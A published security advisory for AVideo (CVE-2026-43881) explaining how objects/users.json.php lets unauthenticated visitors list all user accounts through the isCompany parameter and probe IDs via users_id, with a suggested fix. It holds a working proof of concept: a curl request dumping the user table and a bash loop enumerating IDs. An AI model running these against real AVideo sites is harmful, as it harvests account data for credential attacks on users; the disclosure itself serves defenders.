Skip to content

GHSA-6rvw-7p8v-mjfq CVE-2026-43881

AVideo: Unauthenticated User Enumeration in objects/users.json.php via isCompany Parameter Allows Bypass of the Admin-Only Listing Restriction

Medium Packagist
Severity
5.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.32%
Chance of exploitation in the next 30 days. Higher than 24.86% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-306 Missing Authentication for Critical Function
Fix
None yet
No fixed version published

Description

Summary

objects/users.json.php exposes two unauthenticated paths that disclose the full set of registered user accounts. The isCompany request parameter causes the handler to set $ignoreAdmin = true for any non-admin caller (including unauthenticated visitors), which defeats the admin-only guard inside User::getAllUsers()/User::getTotalUsers(). A second path accepts users_id and calls User::getUserFromID() directly with no permission check, producing a single-user oracle. Both paths return id, identification (display name), channel URL, photo, background, and status, plus the total account count.

Details

Root cause #1 — isCompany admin bypass

objects/users.json.php:13-53 (HEAD, v29.0):

$canAdminUsers = canAdminUsers();                                    // line 13 — for output filtering only
...
if (!empty($_REQUEST['users_id'])) {
    $user = User::getUserFromID($_REQUEST['users_id']);              // path #2
    ...
} else if (empty($_REQUEST['user_groups_id'])) {
    $isAdmin     = null;
    $isCompany   = null;
    $ignoreAdmin = canSearchUsers() ? true : false;
    ...
    if (isset($_REQUEST['isCompany'])) {                              // line 39
        $isCompany = intval($_REQUEST['isCompany']);
        if (!$canAdminUsers) {
            if (User::isACompany()) { $isCompany = 0; }
            else                    { $isCompany = 1; }
            $ignoreAdmin = true;                                      // line 47 — bypass flag
        }
    }
    ...
    $users = User::getAllUsers($ignoreAdmin, [...], @$_GET['status'], $isAdmin, $isCompany);
    $total = User::getTotalUsers($ignoreAdmin, @$_GET['status'], $isAdmin, $isCompany);
}

User::isACompany() with no argument (objects/user.php:1629-1646) returns !empty($_SESSION['user']['is_company']), which is false for unauthenticated visitors. So the anonymous-attacker branch takes the else arm: $isCompany = 1; $ignoreAdmin = true;.

The admin-only guards in User::getAllUsers() (objects/user.php:2315-2321) and User::getTotalUsers() (objects/user.php:2480-2484) are now short-circuited:

public static function getAllUsers($ignoreAdmin = false, ...) {
    if (!Permissions::canAdminUsers() && !$ignoreAdmin) {   // $ignoreAdmin === true → guard skipped
        _error_log('You are not admin and cannot list all users');
        return false;
    }
    ...
    $sql = "SELECT * FROM users u WHERE 1=1 ...";
    if (isset($isCompany)) {
        if (!empty($isCompany) && $isCompany == self::$is_company_status_ISACOMPANY || ...) {
            $sql .= " AND is_company = $isCompany ";
        } else {
            $sql .= " AND (is_company = 0 OR is_company IS NULL) ";
        }
    }

Note: when the attacker supplies isCompany=0, the else branch is taken because of PHP's operator precedence (!empty($isCompany) && ... short-circuits to false), and the SQL filter becomes is_company = 0 OR is_company IS NULL — i.e. every non-company user. Combined with the bypass, this returns the entire user table in chunks controlled by the attacker-supplied rowCount.

Root cause #2 — users_id single-record oracle

objects/users.json.php:20-29 calls User::getUserFromID($_REQUEST['users_id']) with no auth check. User::getUserFromID() (objects/user.php:2028-2075) queries SELECT * FROM users WHERE id = ? and returns id, identification, photo, background, status, channelName, about, tags, with only password/recoverPass/PII stripped for non-admins. The handler then wraps this in the standard BootGrid envelope with total = 1 when the user exists and total = 0 otherwise — a perfect sequential-ID existence oracle.

Why there is no blocking mitigation

  • No router-level auth: the .htaccess rewrite (.htaccess:317) maps /users.json directly to this file.
  • No CSRF/origin gate: the file is explicitly listed in objects/functionsSecurity.php:893 under “Read-only endpoints that accept POST params”, meaning the same-origin/CSRF middleware is skipped by design.
  • The output-filter block (objects/users.json.php:66-77) only limits which fields are echoed — it does not suppress existence or display-name leakage, and total is always echoed on line 97.
  • rowCount is attacker-controlled with no upper bound (line 17-18 only sets a default of 10).

PoC

Target: a default AVideo 29.0 install at http://target/. No session cookie, no CSRF token, no API key required.

Path 1 — bulk listing via isCompany admin-check bypass

$ curl -s 'http://target/objects/users.json.php?isCompany=0&rowCount=1000&current=1'
{"current":1,"rowCount":1000,"total":42,"rows":[
  {"id":"1","identification":"admin","photo":"https://target/videos/userPhoto/photo1.png",
   "background":"https://target/...","status":"a","creator":"<div ...channel URL...>"},
  {"id":"2","identification":"alice",...,"status":"a",...},
  ...
]}

The same call with isCompany=1 returns the subset of company-flagged users; isCompany=0 returns all non-company users. Both branches set $ignoreAdmin = true.

Path 2 — sequential-ID existence / display-name oracle

$ for i in $(seq 1 10000); do
    curl -s "http://target/objects/users.json.php?users_id=$i" \
      | jq -r '[.total, .rows[0].id, .rows[0].identification, .rows[0].status] | @tsv'
  done
1	1	admin	a
1	2	alice	a
0	null	null	null
1	4	bob	i
...

total=1 → ID exists; identification field leaks the login/display name; status reveals active (a) vs inactive (i).

Verification of the branch logic

// Reproduces objects/users.json.php:39-48 for an unauthenticated attacker.
$canAdminUsers = false; $ignoreAdmin = false;
$_SESSION = [];                      // unauthenticated
$_REQUEST = ['isCompany' => '1'];
if (isset($_REQUEST['isCompany'])) {
    $isCompany = intval($_REQUEST['isCompany']);
    if (!$canAdminUsers) {
        $isACompany = !empty($_SESSION['user']['is_company']);   // false
        $isCompany   = $isACompany ? 0 : 1;
        $ignoreAdmin = true;
    }
}
var_dump($isCompany, $ignoreAdmin);  // int(1) bool(true)  → admin guard SKIPPED

Impact

An unauthenticated remote attacker can:

  • Enumerate every user account on the platform (display names, numeric IDs, channel URLs/usernames, active/inactive status, profile photo/background URLs).
  • Obtain the total registered-user count, useful for platform sizing and post-compromise reporting.
  • Build a targeted username list for credential stuffing, password spraying, or phishing against AVideo’s login/password-recovery endpoints.
  • Cross-reference leaked display names against the known password-recovery oracle to identify valid targets.

No auth is required, the request is a single unauthenticated GET, and rowCount is unbounded, so the full user list can be harvested in one request.

Recommended Fix

  1. Require authentication at the top of objects/users.json.php, and gate the bulk-listing path to users who legitimately need to search:

    require_once $global['systemRootPath'] . 'objects/user.php';
    User::loginCheck();                         // reject anonymous callers
    if (!canSearchUsers()) {
        header('HTTP/1.1 403 Forbidden');
        die('{"error":"forbidden"}');
    }
    
  2. Remove the isCompany-driven $ignoreAdmin = true branch (users.json.php:41-48). It served no purpose that the explicit canSearchUsers() check above does not already cover, and its only observable effect is the bypass described here.

  3. Gate the users_id path behind the same check, or restrict its output to the caller’s own record when the caller is not an admin:

    if (!empty($_REQUEST['users_id'])) {
        $requestedId = intval($_REQUEST['users_id']);
        if (!canSearchUsers() && $requestedId !== User::getId()) {
            header('HTTP/1.1 403 Forbidden');
            die('{"error":"forbidden"}');
        }
        $user = User::getUserFromID($requestedId);
        ...
    }
    
  4. Consider clamping $_REQUEST['rowCount'] to a sane ceiling (e.g. 100) and removing objects/users.json.php from the CSRF-bypass list in objects/functionsSecurity.php:893 unless there is a specific mobile-client requirement — and if there is, route it through an authenticated API token instead of making the endpoint anonymously reachable.

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 29.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-306: Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

How to prevent it
  • Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
  • Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor